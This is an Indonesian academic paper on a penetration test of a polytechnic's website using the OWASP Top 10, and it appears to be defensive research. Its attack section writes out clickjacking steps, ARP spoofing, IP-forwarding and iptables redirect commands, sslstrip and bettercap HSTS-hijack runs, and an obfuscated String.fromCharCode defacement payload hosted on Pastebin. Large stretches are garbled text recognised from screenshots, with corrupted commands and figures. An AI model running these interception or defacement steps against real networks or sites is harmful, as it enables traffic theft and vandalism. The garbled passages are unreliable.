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Abstrak— Keamanan aplikasi merupakan hal yang penting
mengingat ancaman serangan terhadap web sangat meningkat saat ini.
Website menjadi salah satu aset penting yang berpotensi menjadi
target serangan siber, yang dapat mengakibatkan kerugian data dan
gangguan operasional. Dalam penelitian ini, serangkaian pengujian
dilakukan untuk mengidentifikasi kerentanan yang ada.

Hasil dari proses penetration testing mengungkapkan beberapa titik
lemah yang memerlukan perhatian lebih. Tujuan penelitian ini adalah
untuk mencari celah kerentanan keamanan pada website Politeknik
Al-Islam dan memberikan solusi untuk memberpaiki celah kerentanan
mengacu pada metode Open Web Application Security Project
(OWASP) Top 10 Tahun 2021.

Untuk pencarian informasi kerentanan tools yang digunakan adalah
OWASPZap, WPSCAN, dan nessus essentials. Penelitian ini
menghasilkan beberapa resiko keamanan seperti HSTS missing from
HTTPS server, clickjacking, Content Security Policy (CSP) Header
Not Set dan cross-domain misconfiguration dengan tingkatan resiko
medium. Hasil penelitian celah kerentanan ini nantinya dapat
membantu pengelola situs web mengidentifikasi ancaman keamanan
yang mungkin terjadi, sehingga mereka dapat mengambil langkah-
langkah untuk mencegah serangan dan mengurangi risiko serangan
tersebut.

Kata kunci— penetration testing, keamanan website, OWASP Top
10, OWASPZap, WPSCAN, nessus essentials, HSTS missing from
HTTPS server, clickjacking, (CSP) Header Not Set, cross-domain
misconfiguration

I. PENDAHULUAN

Dalam era digital saat ini, keberadaan website menjadi
sangat penting bagi berbagai organisasi, termasuk institusi
pendidikan, perusahaan, dan lembaga pemerintah. Website
tidak hanya berfungsi sebagai media informasi, tetapi juga
sebagai platform interaksi dan transaksi. Namun, dengan
meningkatnya ketergantungan terhadap teknologi informasi,
risiko serangan siber juga meningkat. Sesuai data dari The
Open Web Application Security Project (OWASP) di tahun
2017-2021, yang melakukan survei tentang ancaman yang
sering terjadi pada aplikasi web diantaranya SQL injection,
cross-site scripting serta unrestricted file upload ([1]).

Website menjadi alternatif bagi perusahaan untuk
berhubungan dengan pelanggan dan menjual barang mereka
orang-orang dapat dengan mudah dapat diakses kapan saja dan
di mana saja. Sebuah laporan dari Asosiasi Penyelenggara Jasa

Internet Indonesia (APJII) menunjukkan bahwa jumlah
pengguna internet di Indonesia meningkat menjadi
210.026.769 juta pada tahun 2021-2022. Tingkat penetrasi
internet di Indonesia meningkat menjadi 77,02%. ([2])

Dengan terus bertambahnya pengguna internet dan pesatnya
perkembangan teknologi, maka ada dampak yang pasti akan
terjadi pada hal tersebut. Perlu diingat bahwa dengan adanya
dampak positif, tentu tidak menutup kemungkinan dengan
kemajuan teknologi dan semakin mudahnya mengakses
internet tentunya ada hal yang harus diperhatikan dalam hal ini
yaitu menyangkut terkait dari adanya ancaman atau serangan
kejahatan yang dilakukan oleh pihak tidak bertanggung jawab.
Ada banyak macam bentuk ancaman yang sering terjadi pada
saat kita menggunakan akses internet salah satunya yaitu yang
terjadi pada aplikasi website. ([3])

Bicara soal ancaman tentunya berkaitan akan adanya pelaku
kejahatan. Didalam cybercrime pelaku kejahatan biasanya
disebut Hacker sedangkan Hacking merupakan kejahatan yang
telah ada sejak adanya perkembangan teknologi dan internet.

Hacking merupakan masalah yang signifikan dalam jaringan
internet di seluruh dunia. Hacking adalah tindakan seorang
hacker yang mencari kelemahan sistem. Di mana hasilnya
dapat berupa program kecil yang dapat digunakan untuk masuk
ke sistem atau memanfaatkannya untuk tujuan tertentu tanpa
perlu menggunakan akun user. Namun, hacker adalah istilah
yang digunakan untuk menggambarkan beberapa jenis
kemampuan komputer. Hacker ialah suatu kegiatan yang
dilakukan oleh seseorang dalam menguji sebuah sistem atau
dapat juga mencari celah kemanan pada sistem seperti bug,
bongkar pasang sistem dan juga mencari kelemahan suatu
sistem. Perlu diketahui bahwa terdapat pengklasifikasian dan
karakteristik pada hacker yaitu black hacker, white hacker dan
grey hacker. Yang pertama ada black hacker merupakan salah
satu jenis kategori hacker yang berbahaya dikarnakan tujuan
dari si pelaku ialah melakukan hacking untuk mencuri data
pribadi pengguna internet secara ilegal contohnya seperti
pembobolan website, password, merusak dan mencuri
informasi yang sensitif, nomor telepon, alamat email serta
sering juga menginfeksi perangkat software menggunakan
virus. ([3])

Berikutnya ada White Hacker yang merupakan kebalikan
dari Black Hacker. White Hacker berfokus pada memperkuat
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mekanisme yang biasa digunakan dalam hal ini merujuk orang
untuk langkah sebuah keamanan. Dengan ini white hacker
mempunyai fungsi untuk mencari celah keamanan dari sistem
yang demikian celah tersebut dapat dilakukan sebuah analisis
dan pengujian guna memastikan sistem dari yang mempunyai
celah dapat dilakukan perbaikan serta pencegahan dari tindakan
kejahatan. Kemudian yang terakhir ada Grey Hacker yang
mana jenis hacer yang satu ini merupakan kombinasi jenis
diantara black hacker dan white hacker. Grey hacker ini dapat
menyesuaikan kondisi dalam hal menerapkan sebuah metode
dalam melakukan aksinya, dan disatu sisi grey hacker ini tidak
selalu melakukan hacker untuk kepentingan pribadi akan tetapi
sering juga melakukan pelanggaran aturan dari perbuatannya
dalam mengekploitasi kemanan dari suatu sistem, dikarenakan
tujuan utama dari grey hacker ini ialah melakukan peretasan
sistem yang digunakan untuk uji coba dalam mengukur tingkat
kemampuan yang dimilikinya ([4]).

Dari adanya pengklasifikasian jenis hacker tersebut, untuk
dipenelitian ini penulis bertindak sebagai white hacker yaitu
seseorang yang berfokus pada mekanisme keamanan sistem
komputer.

OWASP TOP 10 menjadi rujukan mengenai keamanan
sistem oleh banyak cyber security expert. Berikut beberapa
penelitian yang menggunakan OWASP TOP 10 diantarannya
pada penelitian pertama yang ditulis oleh pada penelitiannya
melakukan pengujian pada website Universitas ARS
menggunakan Open Web Application Security Project
(OWASP), adapun pengujian ini menggunakan metode
penetration testing dengan mengacu pada parameter OWASP
TOP 10 tahun 2017 dan adapun tools yang digunakan pada
penelitian ini adalah OWASP ZAP, uniscan dan nikto
menemukan bahwa OWASP versi 4 digunakan untuk pengujian
penetrasi, dan alat pemindaian kelemahan website yang
digunakan adalah acunetix. Objek yang diteliti adalah aplikasi
berbasis web.

Untuk melakukan uji penetrasi, situs web dapat
menggunakan tiga jenis uji kerentanan: uji Black Box, uji White
Box, dan uji Gray Box. Menurut penjelasan ([5]) dalam
bukunya yang berjudul Etichal Hacking and Penetration
Testing Guide merinci bahwa pengujian penetrasi terbagi
menjadi tiga bagian. Pengujian keamanan Black Box adalah
pengujian yang dilakukan oleh orang yang tidak memiliki
informasi apa pun tentang sistem operasi, versi server, atau
jaringan yang ada di dalam sistem, sehingga orang yang
melakukan pengujian harus mencari semua informasi yang
dibutuhkan untuk melakukan pengujian. Pengujian Keamanan
white box adalah pengujian yang dilakukan oleh orang yang
tidak memiliki informasi apa pun tentang sistem operasi, versi
server, atau jaringan yang ada di dalam sistem, dan yang ketiga
ada Gray Box Security Testing yang merupakan gabungan dari
kedua metode antara Black Box Security Testing dan White Box
Security Testing. Metode ini menggunakan perspektif orang
yang terlibat dalam sistem tetapi tidak dapat mengaksesnya
secara langsung.

Penetration testing merupakan metode pengujian untuk
mengidentifikasi celah keamanan dengan tujuan memperoleh
akses ke suatu sistem atau situs web. Pengujian ini meniru
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teknik yang mungkin digunakan oleh pihak tak berwenang
untuk menembus sistem keamanan dan mendapatkan akses
tanpa izin ([6]). Proses pengujian dilakukan menggunakan
metode Penetration Testing Execution Standard (PTES), yaitu
panduan metodologis yang mencakup standar dan langkah-
langkah penting dalam pelaksanaan uji penetrasi yang efektif
([7]). PTES dipilih karena tahapan-tahapannya dianggap lebih
mudah dipahami, bahkan oleh pengguna yang bukan ahli dalam
bidang keamanan system.

Vulnerability, juga dikenal sebagai kerentanan jaringan,
adalah  kelemahan program atau infrastruktur yang
memungkinkan ekploitasi sistem. Kesalahan dalam desain,
pembuatan, atau implementasi sistem dapat menyebabkan
kelemahan ini. Hacker akan menggunakan kelemahan untuk
masuk ke sistem ilegal. Hacker umumnya membuat eksploit
yang disesuaikan dengan celah. Perangkat lunak komputer
yang dikodekan dalam bahasa pemograman yang mendukung
perangkat lunak berbasis web seperti HTML, CSS, JavaScipt,
Ruby, Python, PHP, dan Java juga dapat mengalami
kerentanan. ([8])

Il. METODE

A. Metode VAPT (Vulnerability Assessment and Penetration

Testing)

Vulnerability Assessment (VA) dan Penetration Testing (PT)
adalah dua metode utama untuk mengevaluasi keamanan
sistem informasi, dan keduanya saling melengkapi untuk
memberikan gambaran keamanan sistem yang lengkap.

Proses menentukan, mengidentifikasi, mengklasifikasikan,
dan memprioritaskan kerentanan dalam sistem komputer,
aplikasi, dan infrastruktur jaringan dikenal sebagai
Vulnerability ~ Assessment.  Tujuan dari  Vulnerability
Assessment adalah untuk menemukan kelemahan yang
mungkin ada sebelum threat actor dapat memanfaatkannya. Ini
mencakup pemindaian seluruh sistem secara manual dan
otomatis untuk menemukan celah yang dapat menjadi sasaran
empuk serangan siber.

Penetration testing, juga dikenal sebagai pentest, adalah
sebuah teknik yang meniru serangan asli dalam upaya untuk
mengidentifikasi cara untuk menghindari fitur keamanan
aplikasi, sistem, atau jaringan. Pentest biasanya melibatkan
serangan nyata pada sistem dan data, menggunakan alat dan
teknik yang sama dengan yang digunakan oleh threat actor
yang sebenarnya. Berbeda dengan Vulnerability Assessment,
pentest bersifat aktif dan agresif, yang berarti penguji benar-
benar mencoba memanfaatkan kelemahan. Tujuan dari
penelitian ini adalah untuk menilai kapasitas pertahanan sistem
terhadap serangan nyata. Ini menunjukkan seberapa jauh
pelaku ancaman dapat memasuki jaringan, aplikasi, atau sistem
keamanan.
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Gambar 1 Metode VAPT

1. Planning

Pada tahap ini, saya melakukan perencaan seperti menentukan
ruang lingkup penelitian, lalu mengidentifikasi target.

2. Information Gathering

Selanjutnya saya melakukan pencarian infromasi tentang
website Politeknik Al-Islam dengan menggunakan google
hacking.

3. Vulnerability Scanning

Setelah melakukan pencarian informasi tentang website
Politeknik Al-Islam, saya melalakukan pemindaian pada
website dengan tools seperti OWASP ZAP, Nessus Essentials,
dan WPScan.

4. Penetration Testing

Setelah melakukan pemindaian, saya melakukan attacking
terhadap website untuk menilai ketahanan sistem terhadap
serangan.

5. Reporting

Langkah terakhir saya melakukan pelaporan dari semua riset
seperti kerentanan yang teridentifikasi, potensi resiko, dan
rekomendasi tindakan untuk memperkuat website Politeknik
Al-Islam.

B. Langkah-Langkah Penetration Testing

1. Perencanaan (planning)

Pada tahap pertama, pentester harus merencanakan metode
pengujian yang akan digunakan, sistem keamanan server yang
digunakan, mengumpulkan data, dan mempersiapkan nama
domain server. Tujuan dari tahap perencanaan adalah agar
pentester mengetahui lingkungan sistem yang akan digunakan
dan dapat menyesuaikan metode yang akan digunakan.

2. Pemindaian (scanning)

Setelah rencana selesai, langkah berikutnya adalah memindai
kerentanan sistem keamanan. Pada tahap ini, alat tambahan
biasanya membantu proses seperti pengelompokan layanan,
scanning port, dan scanning kelemahan. Pada tahap ini,
pentester akan melakukan dua metode pemindaian: analisis
statis dan dinamis.

3. Mendapatkan akses (gaining access)

Pada tahap ketiga, pentester yang telah menemukan celah
keamanan yang memungkinkan untuk disusupi akan mencoba
memasuki sistem tersebut. Pentester akan bertindak seperti
hacker dan mencoba mendapatkan akses penuh ke server
tersebut.
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4. Mempertahankan akses (maintaining access)

Pentester akan melihat apakah ada celah kerentanan yang
bertahan atau permanen ketika mereka memiliki akses penuh.
Jika celah tersebut dianggap permanen, itu akan berbahaya bagi
pengguna karena hacker dapat masuk ke inti sistem.

5. Pelaporan hasil (reporting)

Hasil pindaian hingga pertahanan akses kemudian dilaporkan.
Laporan tersebut mencakup informasi tentang penemuan celah
yang rentan disusupi, solusi terbaik, dan rekomendasi sistem
keamanan yang tepat.

6. Perbaikan (remediation)

Pada tahap terakhir, masalah atau kerentanan sistem keamanan
akan diselesaikan dengan memperbaiki sistem. Jika masih
ditemukan bahwa server memiliki kerentanan yang tinggi,
server akan diuji ulang untuk memastikan bahwa keamanan
jaringan telah ditingkatkan.

Tahapan
Penetration Testing

PERENCANAAN

Gambar 2 Tahapan Penetration Testing sumber: [9]

I11. HASIL DAN PEMBAHASAN

Pada implementasi penetration testing website Politeknik
Al-Islam berdasarkan OWASP TOP 10, beberapa tahapan dan
pengujian telah dilakukan untuk memastikan keamanan dan

efisiensi sistem. Berikut ini adalah hasil utama dari
implementasi tersebut:
A. Tahap Perencanaan (Planning)

Tahap planning meliputi alat pengujian, proses
pengumpulan informasi, dan penentuan skala prioritas website
target.

Alat yang digunakan dalam melakukan penelitian ini terdiri
dari perangkat keras (hardware), perangkat lunak (software)
dan tools lainnya.
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TABEL |
Tabel | Tabel Perangkat Lunak (software)

Jenis Software Spesifikasi

Operating System (OS)

Windows 11 dan Kali linux 2022.3

Application Software

Oracle VM VirtualBox-amd64

TABEL Il
Tabel Il Tabel Perangkat Keras (Hardware)

Komponen Spesifikasi yang digunakan
Processor 12th Gen Intel(R) Core(TM) i5-
12400F (12 CPUs), ~2.5GHz
RAM 8 GB
Storage Memory 1TB
TABEL Il

Tabel 11l Tabel Tools

Tahapan Tools Fungsi
Information Gathering| Google Hacking Menemukan  daftar
celah yang tersedia
dalam GHDB, lalu
lanjut dicari dalam
mesin pencari
Google
Vulnerability Scanner | OWASP ZAP | Mencari celah
2.12.| kerentanan yang
0, terdapat pada website
WPScan, dan Nessus
essenials
Attacking Burp Menguji
Suite, kerentanan
Sslstrip, website yang
HSTShija didapat pada
ck, proses
Pastebin, sebelumnya.
Bettercap,
Arpsoof
Report Ms. Word Menulis dan
melaporkan hasil
pengujian

B. Proses Pengumpulan Informasi

Pada tahap ini ialah proses dalam melakukan pengumpulan
informasi mengenai target dan pemindaian kerentanan. Proses
ini dibagi menjadi yaitu information gathering dan
vulnerability Scanner.

Pada tahap information gathering dilakukan penambahan
informasi tentang daftar celah yang tersedia dalam Google
database (GHDB), kemudian dilanjutkan menggunakan search
engine google ([10])
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Gambar 3 Daftar Dork Wordpress Dalam Google Hacking

C. Vulnerability Scan

Tahap ini dilakukan dengan cara mencari celah keamanan
menggunakan tools seperti WPScan, OWASP ZAP, dan
Nessus Essentials.

Sites: https:/ifonts.gstatic.com https:/fq g leapis.com https://politeknikali ac.id
Generated on Wed, 15 Jan 2025 16:20:14.

Ireports.report.owaspZapVersion!

Summary of Alerts

;
3
Low 3
5
0

Gambar 4 Gambar Hasil Scanning Dengan OWASP ZAP

Berdasarkan hasil scan yang dilakukan menggunakan
OWASP ZAP bahwa di website Politeknik Al-Islam dapat
ditemukan hasil 3 alert medium, dan 3 alert low.

Alerts.

Low o
v £)
v )

Gambar 5 Gambar Hasil Keseluruhan Scanner Dengan OWASP ZAP
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Gambar 6 Gambar Hasil Scanning Dengan WPS SCAN

Dari hasil scanning menggunakan WPScan menunjukan
bahwa website Politeknik Al-Islam yang bekerja sama dengan
keamanan Sinatra bahwa keamanan Sinatra pernah memiliki
kerentanan Stored Cross-Site Scripting dimana pengguna yang
terautentikasi dapat menyisipkan kode JavaScript berbahaya
yang disimpan didalam situs tersebut.

T + MEDIUM Low

Burp Clickbandit x

(@ Burp Clickbandit
Burp Clickbandit is a tool for generating dlickjacking attacks. When you have found a web page that may be vulnerable to clickjacking.
you can use Burp Clickbandit to create an attack and confirm that the vulnerability can be successfully exploited.

Burp Clickbandit runs in your browser using Javascript. it works on all modern browsers except for Microsoft IE and Edge. To run
Burp Clickbandit, use the following steps:

1. Click the "Copy Clickbandit to clipboard” button below. This will copy the Clickbandit script to your clipboard.

2. In your browser, visit the web page that you want to test, in the usual way

3.In your browser, open the web developer cansole. This might also be called “developer tools™ or “Javascript console*

4. Paste the Clickbandit script into the web developer console, and press enter.

See the documentation for more details on using Burp Clickbandit.

Copy Clickbandit to clipboard Close

Gambar 8 Gambar Salinan Script Dari Burp Suite

Pertama-tama saya akan menyalin script dari aplikasi

burp suite.

BERILMU BERIMAN BERAMAL IKHLAS

Gambar 9 Gambar Salinan Script Ke Console Website Politeknik Al-lslam

Lalu salin script tersebut di console website Politeknik

= Pooe ges— Y

Al-Islam.
Ragord v.-.wﬂ

«

Vulnerabilities Total: 23
SEvERITY CVSS VPR SCORE PSS SCORE PLUGIN NAME
Vo
65 HSTS Missing From HTTPS Server (RFC 6797)
43* Web Application Potentially Vulnerable to Clickjacking
N/A Web Server Allows Password Auto-Completion

Gambar 7 Gambar hasil scanning dengan Nessus Essentials

Selanjutnya dari hasil scanning menggunakan Nessus
Essentials menunjukan bahwa website Politeknik Al-Islam
memiliki kerentanan seperti HSTS Missing From HTTPS
Server menunjukan bahwa situs web tidak menggunakan HSTS,
lalu ada Web Application Potentially Vulnerable to
Clickjacking yaitu web yang rentan terhadap serangan
clickjacking, clickjacking adalah serangan dimana pengguna
mengklik halaman web yang tidak terlihat yang dapat pengguna
mengunduh malware, dan mengunjungi situs yang bahaya.

D. Tahap Attacking
1. Clickjacking
Clickjacking disini saya akan menggunakan aplikasi
burp suite dimana kita membuat html seolah-olah
website tersebut website yang asli.

=)

BERILMU BERIMAN BERAMAL IKHLAS

. herarion
Sy, B,

POLITEKNIK AL ISLAM BANDUNG

Gambar 10 Gambar Peletakan Clickjacking Pada Website

Selanjutnya meletakan clickjacking tersebut di website
tersebut.

clickjacked (6) Avast HTML Docu. §KB

Gambar 11 Gambar HTML Dari Website
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Dan setelahnya saya mendownload HTML yang ada
clickjacking di website politeknik Al-Islam.

BERILMU BERIMAN BERAMAL IKHLAS

W, Bescbhlih Mol b, i, Bertnsst Sesas Pt ALl D Wi
‘g, Beran, Sobox, Menyoga Lsen, st imor Yamg Sehat. Sinerys Dan Aroanon

Gambar 13 Gambar Hasil Percobaan Cross Site Scripting

Pada percobaan ini saya memasukan script pada
pencarian dan pada console website namun yang
dihasilkan adalah false positive atau website tidak dapat
diattack oleh serangan cross site scripting.

3. Sslstripping dan Man In the Middle attack

A [istmnrashifs salam)-(+]
J )
ll‘l password. 'lr salmanrashif:
BERILMU BERIMAN BERAMAL IKHLAS N s {,'-Inl——m
s, Bevarhlad Mubs, haur, Taodhy, Sertaat Seas Pervotoan. Adil Dun Kard ll!"f is !lM IN “-1( version (2.4b1ededbian-34).

re automatically installed and are no loger requi

‘Sapng, Berans, Sabe, Menjogo Lison, §iod Humar Yeng Sehat. Savrgi Dan Amansh u--cmuu un\.l-u ibic n—«v 1iblbfgsbe 1ibpythond. u-ul-\ um-—x 12-5tdlid libpython.12t6é pythonl.12-tk
‘sudo apt autol remove

vnrum 9, Tnstalling: 0, Removing: 0, Not Upgrading: 182
— /hone/salaanrashif |

G et sslate

L M e O SR R

packages were autosatically installed and are no loager requi
cu-devtools 1ibglapi-sess HMh-d'v \ﬁlﬂjw IMM Hdll-l ulmuu 12-5t0145  1ibpythead. 12164 pythond.12-tk

Gambar 12 Gambar HTML Yang Telah Dimasukan clickjacking el

ummq: 0, Installing: 0, Resoving: 0, Not Upgrading: 182

Selanjutnya ketika mengklik bagian yang dimasukan
clickjacking maka akan muncul tulisan “You’ve been

| /home/salmanrashif |

clickjacked!” yang membutikan bahwa website tersebut o A o I kT A
rentan terhadap serangan clickjacking. e
AT S B e o

. .. v 031 {ataney):
2. CrOSS Slte Scrlptlng Il"r-t'-mx .:. C‘.l:‘ ‘(’ ”Fll Creset)

80/ tcy http
8033/%cp Tiltered orsystem

an: Huawet

Device type: general purpose

Running! Cinux 3:x16.X15

05 CPE: cpei/os u-n.uum- Kernelid coui/ofUimuxilinix Kernelid coei/otinuxitinuxKornelcS
05 details: Linux 4231, Linux 5.10

Nevmork Distencer 1nop

n report for 192.168.100.10

Nost 15 up Coc613s tatencyds

Not ' closed tep ports (reset)

PORT STATE _ SERVICE

7/tcp filtered
MAC Address: 52170078:80:08:10 (Unknown)

Y5 many fingerprints match this hest to give specific 08 details

Network Distance: 1 hop

scan report for 192.168.100.101
Nost i up (0600175 latency):

AUL 1000 scanned ports on 192.168.100.101 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

P p— o N s s . & MAC Address:

Too many fingerprints match this host to give specific 05 details
Network Distance: 1 hop

Naap scan raport for 193164108113
205 ney

on 195.108.100.115 are in ignored states.
cp ports (reset)

fingerprints match this host to give specific 05 details
Plodice S i

Gambar 14 Gambar Pencarian Ip Address

Pada sslstripping dan man in the middle attack pertama-
tama saya melakukan pencarian Ip target di kali linux
yang dimana saya menggunakan ip target saya yang ada
di windows yaitu dengan ip 192.168.100.101.
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4 ifconfig
etho: nansuucw BROADCAST, RUNNING, MULTICAST> mtu 1500
net 192,168.100.115 netmask 255.255.255.0 broadcast 192.168.100.255
§£:f084:8196 prefixlen 64 scopeid 9x20<link>
other 08 81196 txquevelen 1000 (Ethernet)
RX packets 4435 bytes 275241 (268.7 Ki8)
RX errors 0 dropped O overruns 0 frame 0
TX packets 6958 bytes 428331 (418.2 KiB)
TX errors ® dropped @ overruns 0 carrier 8 collisions 0

1oz flagss73<UP, LOOPBACK, RUNNING>  mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
ineté i1 prefixlen 126 scopeid @x10chast>
loop txqueuelen 1000 (Local Loopback)
RX packets 2032 bytes 87752 (85.6 KiB)
RX errors 0 dropped 0 overruns 0 frane 0
TX packets 2032 bytes 87752 (85.6 KiB)
TX errors 0 dropped © overruns 0 carrier 0 collisions 0

o | /hone/salmanrashif

* arpspoo§ -1 ethe -t 192.1 1101 192,168.100.1
27 9 42: arp reply 192.168.100.1 is-at &:
Az: arp reply 192,168.100.1 is-at 8:

806 42: arp reply 192.168,100.1 is-at o
arp reply 192.168.100.1 i: 2
162160 0806 42: arp reply 192.166.100.1 15-at 20:67-ec.5:ed:b8

M/n\-lrnll!

othd 100,101 192.168.100.

0 0806 42: arp reply 192.168.100.1 is-at 8
806 42: arp reply 192.168.100.1 is-at &
42: arp reply 192.168.100.1 is-at &:
06 42: arp reply 192.168.100.1 is-at 8
06 42: arp reply 192.168.100.1 is-at 8
806 42: arp reply 192.168.100.1 is-at 8:
42: arp reply 192.168,100.1 is-at &:
0806 42: arp reply 192.168.100.1 is-at 8
192.168.100.1 is-at 8:
192.168.100.1
192.168.100.1
192.168.100.1 is-at 8:
192.168.100.1 is-at 8:
192.168.100.1 is-at 8
192.168.100.1 is-at 8
192.168.100.1 is-at 8:
192.166.100.1 is-at &
: 192.168.100.1 {s-at §:
60 0806 42: arp reply 192.168.100.1 is-at 8

e RERERRRERRRRERRRS
g
£
F
|
s
s
E]
2

2e:e2:

File Actions Edit View Help

C(mmmaus salsan)-(~]

su

e e s

Sorry, try again.

[sudo] password for salmanrashif:
'sal

27:84:81:96 192.168.1

if
arpspoof -1 ethd -t 192.168. ul 1 191 168.100.101
:bé 08¢ p!

Teply 192.168.1
reply 192.168.1
reply 192.168.1
reply 192.168. 1
reply 192.168.1
reply 192.168.1
Teply 192.168.1
reply 192.168.1
reply 192.168.1
reply 192.168.1
42t arp reply 192.166.1
42: arp reply 192.168.1
42: arp reply 192.168.1
42: arp reply 192.168.1
42: arp reply 192.168.1
42: arp reply 192.168.100.101 is-at
42 arp reply 192.168.100.101 is-at
42: arp reply 192.168.100.101 is-at
42 arp reply 192.168.100.101 is-at
42: arp reply 192.168.100.101 is-at
42 arp reply 192.168.100.101 is-at
42: arp reply 192.168.100.101 is-at
42: arp reply 192.168.100.101 is-at
42: arp reply 192,168. 1 01 is-at
42: arp reply 192.168.100.101 is-at
42: arp reply 192.168.100.101 is-at

SRR R RN RRRRR2 222222222882 88 8888 RE

BB B R R R SR RN RSN R AR R REE R R RERREEES

Gambar 15 Gambar Arpsoof Ip

Selanjutnya saya melakukan arspoof pada ip
dengan ip target begitupun sebaliknya
tersamarkan.

kali linux

agar

ip
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L—(salunrashif@ salian)-[~]
§ sudo su

[sudo] password for salmanrashif:

Sorry, try again.

[sudo) passmd for salmanrashif:

{1 | /hone/salnanrashif |

1 echo 1> /proc/sys/net/ipvh/ip_forvard

(0000 ) [home/salmanrashif |
iptables -t nat -A PREROUTING -p tcp —-dport 80 -j REDIRECT —to-port 8080

|

(oo - [home/salnanrashif
4 sslstrip -1 8080

isls!rip 1.0 by Moxie Marlinspike running...

= laareash} 19 alun

L w

[sode] possword for salunrahif;
Mose/salanrashlf

15 Sost resolutien error: [Failure fnstance: Traceback: cclass ‘Typefrror’>: argumeat should be fnteger or bytes-Lite abject, sot ‘str’
fy:1088: renCal Lhacks

06 ost resolution erroe: (Faflure festance: Traceback: cclass ‘Typeror'>: argumeat should be fnteger er bytes-like objict, mot ‘str’
71082 roallbucs

1
J00505-18 16:10:53, 494 Most eesalution urror: [Faflure fstace: Traceback: ¢class ‘Type€rror'>: arguent shosld be fnteger or bytes-Like obfuct, st “str'
Py 1088: ol Liacks

380 st tesolution error: (Faflure bastance: Tracebuck: eclans “Typeeror's: argument shoslé be dnteger or bytes-like objct, st ‘str'
71088 ol Iy

916 Most tesolution eeror: {Faflure fastance: Tracedack: <class "Type€erer's: arguseat should be Entequr of Dytes-Like abfect, st 'str'
Py 0m: redallaacks

20 wost sesalution erroe: (Failure festance: Traceback: «class ‘Typefrrer'>: argument should be dnteger or bytes-Lite object, sot ‘str’
108 ol s

53,041 tost resolatien errors [Failure fastance: Tracedack: cclass ‘Typekeron's: angument should be Sateger o bytes-Like objuct, sot ‘st
108 reallcs

)
22595-10 16:00:57,956 Mot eesolution eeroe: {Fallure astance: Traceback: cclass “typerree's: argument shoald be dateger or bytes-ike object, sot ‘str’
1 rwallbucks

01,964 Most resolution error: [Faflure dastance: Traceback: «class ‘Type€rrar's: atgument shoslé be Integer or bytes-Like sbject, sat ‘str'
py: 1088 renCal lbacks.

!
0259510 16:15:05,981 Nast resalution exror: (Faflure astance: Tracedack: cclass ‘Typefreor'>: argusent shosld be Sateger or Bytes-Lbke object, sat “str'
M roallbucks

Gambar 16 Gambar Percobaan Sslstriping

Langkah berikutnya saya melakukan sslstrip
dengan menambahkan kode diatas untuk
membuka HTTPS ke HTTP namun hasil yang
didapat adalah false positive dimana website
Politeknik Al-Islam tidak dapat diattack oleh
sslstrip.
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1 wensis a1 a6 syutae “arp.vpeet. foLéuplen troe”. frpe balp fur the Aels men

S

st Toc e

Tar 335 40 spoeting mectasisns, The StTach will Fatl

etectportal. Firefor. con, we mftconnect et  com

Commands.

hatahidack show : Show wadule e,
Setahijack.ual.domdns : Show rocordes domaing with ssi.
5ack 831 1ndex - Show S5 donsis. 1nd

Sessioa info
Session 1D ; LUAXEGAShUSSU]

started on 192,168.100.11:
_gosgle. corn —+ 192165,
soogle.corn > 192,

0 (sslstrip disabled)
5

Gambar 17 Gambar HSTS Hijack

Di gambar diatas saya melakukan HSTS hijack agar bisa
melakukan perubahan website dari HTTPS menjadi
HTTP menggunakan bettercap namun hasilnya tetap
false positive dimana website Politeknik Al-Islam tidak
dapat diattack oleh HSTS Hijack.

4. Deface Website
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Gambar 18 Gambar Pembuatan HTML Untuk Deface Website

Untuk melakukan deface website pertama-tama saya
membuat HTML untuk dimasukan kedalam website
target.
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WPASTEBIN o woos w0 [ a

New Paste Syntax Highighting @

document  documentii Lomn, snnarTHL=String. fronCharCode(10, 00, 104, 116, 100, 108, 62, 10, 60, 104, 101, 07, 100, 62, 10, 00,
116, 105, 110, 108, 101, 62, B3, 65, 78, B4, 79, 65, 71, 79, 00, 47, 110, 105, 110, 108, 101, 62, 10, 00, 108, 105, 110,
107, 32, 114, 101, 100, 01, 34, 108, 00, 111, 110, 34, 32, 110, 121, 112, 103, 01, 84, 106, 100, 07, 103, 101, 47, 112, 110,
103, 94, 32, 104, 114, 101, 102, 01, 24, 104, 110, 116, 112, 60, 47, 47, 101, 46, 116, 131, 132, 62, 116, 411, 112, 46, 110,
101, 116, 47, 112, 05, 51, 61, 62, 121, 121, 116, 110, 121, 40, 6, 112, 110, 103, 34, 62, 10, 60, 100, 105, 110, 107, 92,
104, 114, 101, 102, 61, 34, 104, 116, 116, 112, 69, 47, 47, 102, 111, 110, 116, 115, 46, 103, 111, 111, 103, 108, 101, 07,
112, 105, 110, 40, 99, 111, 100, 47, 99, 116, 115, 03, 102, 97, 109, 108, 100, 121, 01, 65, 110, 101, 114, 106, 97, 43, 0,
07, 110, 115, 43, 70, 105, 90, 114, 101, 34, 32, 314, 101, 100, 61, 34, 115, 116, 121, 100, 101, 115, 104, 101, 101, 110,
34, 32, 116, 121, 112, 101, 61, 34, 116, 101, 120, 116, 47, 00, 116, 115, 34, 62, 10, 60, 108, 108, 110, 107, 32, 104, 114,
101, 102, 61, 34, 104, 110, 110, 112, 86, 47, 47, 102, 111, 110, 110, 116, 40, 103, 111, 113, 103, 108, 101, 07, 112, 108,
115, 40, 99, 111, 100, A7, 99, 116, 115, 03, 102, 07, 100, 105, 108, 121, 61, 70, 114, ON, 108, 110, 114, 111, 110, 80, BB,
B, 48, 3 L 114, 101, 108, 01, 34, 115, 110, 121, 108, 101, 115, 104, 101, 101, 110, 34, 32, 116, 121, 112, 101, 01, 34,
110, 101, 120, 110, 47, 00, 116, 1B, 34, 02, 10, 00, 106, 100, 110, 107, 32, 104, 114, 101, 102, 61, 34, 104, 116, 110,
112, 80, A7, 47, 102, 131, 110, 116, 116, 46, 103, 111, 111, 103, 108, 103, 07, 112, 105, 118, 406, 00, 111, 100, 47, 00,
115, 116, 03, 102, 07, 100, 105, 108, 121, 61, 78, 111, 116, 105, 102, 101, 114, 34, 32, 114, 101, 108, 61, 24, 115, 116,
121, 108, 101, 115, 104, 101, 101, 110, 34, 32, 116, 121, 112, 101, 01, 34, 110, 103, 120, 410, 47, 00, 116, 118, 34, 02,
10, 60, 108, 108, 110, 107, 22, 104, 114, 103, 102, 01, 44, 104, 110, 110, 112, B, 47, 47, 102, 141, 110, 110, 116, 40,
109, 111, 131, 103, 108, 103, 07, 112, 106, 118, 46, 00, 131, 100, A7, 09, 116, 115, 63, 102, 07, 100, 105, 108, 121, 61,
